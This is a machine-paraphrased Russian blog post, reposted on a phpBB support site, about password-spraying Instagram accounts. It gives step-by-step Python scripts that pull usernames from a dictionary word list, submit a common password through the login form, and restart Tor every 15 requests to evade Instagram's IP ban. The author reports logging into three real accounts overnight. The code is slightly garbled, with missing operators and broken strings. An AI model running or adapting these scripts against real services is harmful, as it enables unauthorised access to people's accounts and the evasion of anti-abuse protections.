Главная
Блог разработчиков phpBB
 
+ 17 предустановленных модов
+ SEO-оптимизация форума
+ авторизация через соц. сети
+ защита от спама

Как я немножко Instagram увёл

Anna | 15.06.2014 | нет комментариев
Всё началось позже того, как я прочитал статью о самых знаменитых паролях 2013 года. Как, думаю, и многим, мне мгновенно захотелось проверить, подлинно ли эти пароли так уж и знамениты. Позже недолгих раздумий выбор пал на социальную сеть/сервис обмена фотографиями — Instagram.

Первые шаги

Первое, что я сделал — проверил, как именно реагирует веб-версия этого Дива на вход с верным и неправильным паролем. Всё оказалось стандартным, я даже немножко обрадовался. При неправильном пароле с сервера приходит результат с кодом 200, при правильном же — приходит код 302 и редиректит на основную страницу. Этого довольно, приступаю к написанию скрипта на python, тот, что будет подставлять логин и пароль в форму, а после этого узнавать, подошло либо нет.

Он выглядел вот так:

import urllib

login_data=urllib.urlensource({'username':'username','password':'password','submit':'Login'})

response = urllib.urlopen('https://instagram.com/accounts/login/',login_data)

f = open('dex.html','w')
f.write(response.read())
f.close()

print 'ok'

1-й же тест выдал ошибку «Включите куки» («This page could not be loaded. If you have cookies disabled in your browser, or you are browsing in Private Mode, please try enabling cookies or turning off Private Mode, and then retrying your action.») Времени у меня было не так много, следственно я предпочел стремительное решение этой задачи, которое традиционно использую для тестов своих творений, а именно mechanize. Вернее даже mechanize.Browser().

Вторая версия выглядела теснее вот так:

import mechanize

name = 'username'
password = 'password'

br = mechanize.Browser()
br.open('https://instagram.com/accounts/login/')
br.select_form(nr = 0)
br.form['username'] = name
br.form['password'] = password
br.submit()

f = open('dex.html','w')
f.write(br.response().read())
f.close()

print 'ok'

Непостоянный триумф

И, о Диво! При правильной и не правильной паре логин/пароль всё отрабатывалось, как необходимо. Но код результата сервера в обоих обстановках приходил 200. Это не ужасно, чай в результате мы видим и саму страничку, которая пришла. Легко глядим какую-либо фразу в странице, говорящую о том, что пароль не подошёл. Если такой нет, то у нас всё отменно, мы обнаружили пользователя со слабым паролем.

У меня это выглядело вот так:

if br.response().read().find('correct username') == -1:
    print 'YEP'
    log_list = open('log_list.txt','ab ')
    log_list.write(name   ' '   password   'n')
    log_list.close()
else:
    print 'NOPE'

Пока всё шло гладко. Sitemap я так и не нашёл, следственно в качестве базы логинов я подключил типовой для ubuntu словарь слов английского языка (/usr/share/dict/american-english), из которого брал все слова, в которых не присутствует апостроф, а база паролей сводилась, по условиям эксперимента, к базе из выше упомянутой статьи. Но из каждой базы ручным перебором был выявлен каждого один подходящий для обслуживания пароль(не разрешает инстаграм применять слишком уж примитивные пароли). Стало теснее не так увлекательно, но останавливаться не хотелось. По пути сделал проверку, а существует ли вообще пользователь с таким логином, Дабы впустую не бегать рассматривать в статистике только существующих пользователей. Это же эксперимент!

Всё совместно это теснее выглядело вот так:

import mechanize

def check_url(url):
    p = urlparse(url)
    conn = httplib.HTTPConnection(p.netloc)
    conn.request('HEAD', p.path)
    resp = conn.getresponse()
    return resp.status < 400

names = open('american-english','r').read().split('n')
password = 'letmein'
number = 0

for name in names:
    if name.find("'") == -1:
        number  = 1
        url = 'https://instagram.com/' name
        if check_url(url):
            print 'not exist'
        else:
            print str(number)   ' '   name 
            br = mechanize.Browser()
            br.open('https://instagram.com/accounts/login/')
            br.select_form(nr = 0)
            br.form['username'] = name
            br.form['password'] = password
            br.submit()
            s = br.response().read().find('correct username')
            if s == -1:
print 'YEP'
                log_list = open('log_list.txt','ab ')
                log_list.write(name   ' '   password   'n')
                log_list.close()
            else:
                print 'NOPE'

Не самая надёжная охрана от брутфорса

через 20 итераций инстаграм начал меня выплёвывать с оплошностью 403 Forbidden(доступ запрещён). Их сервер додумался, что я делаю что-то дрянное. Я пытался играть с различными куками и подменами браузера. Нет не пускал, значит банят по ip. Необходимо применять прокси. Самым стремительным решением для неизвестного входа я нашёл tor. Способом научного тыка было определено, что смена ip требуется приблизительно позже всяких 15 обращений. Машина заработала!

Финальный скрипт:

import os, socks, socket, mechanize, cookielib, httplib
from urlparse import urlparse

def check_url(url):
    p = urlparse(url)
    conn = httplib.HTTPConnection(p.netloc)
    conn.request('HEAD', p.path)
    resp = conn.getresponse()
    return resp.status < 400

def create_connection(address, timeout=None, source_address=None):
    sock = socks.socksocket()
    sock.connect(address)
    return sock

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
socket.socket = socks.socksocket
socket.create_connection = create_connection

names = open('american-english','r').read().split('n')
password = 'letmein'
number = 0

for name in names:
    if name.find("'") == -1:
	    if number%15 == 0:
	        os.system('service tor restart')
	    number  = 1
	    url = 'https://instagram.com/' name
	    if check_url(url):
	        print 'not exist'
	    else:
	        try:
	            print str(number)   ' '   name 
	            br = mechanize.Browser()
	            br.set_handle_equiv(True)
	            br.set_handle_redirect(True)
	            br.set_handle_robots(False)
	            br.open('https://instagram.com/accounts/login/')
	            br.select_form(nr = 0)
	            br.form['username'] = name
	            br.form['password'] = password
	            br.submit()
	            if br.response().read().find('correct username') == -1:
	                print 'YEP'
	                log_list = open('log_list.txt','ab ')
	                log_list.write(name   ' '   password   'n')
	                log_list.close()
	            else:
	                print 'NOPE'
	        except:
	            print 'something wrong'
	            pass

Оставил его работать на ночь.

О итогах.

Утром проснулся как в Новейший Год в ожидании, какой же презент мне оставил мой трудолюбивый эльф. Итого было проверено 9103 имени(вдалеке не все из списка, я остановил скрипт), из них трое применяли уязвимый пароль. Это приблизительно 0.03% опрошеных — не так и немного. Я был бы рад, если бы нашёлся правда бы один. Связался с обладателями аккаунтов с просьбой изменить свой пароль. Сейчас в мире на 3 человека поменьше применяют слабенькие пароли, охраняя свои любимые фоточки.

Каждому спасибо за внимание.

Источник: programmingmaster.ru

Оставить комментарий
Форум phpBB, русская поддержка форума phpBB
Рейтинг@Mail.ru 2008 - 2017 © BB3x.ru - русская поддержка форума phpBB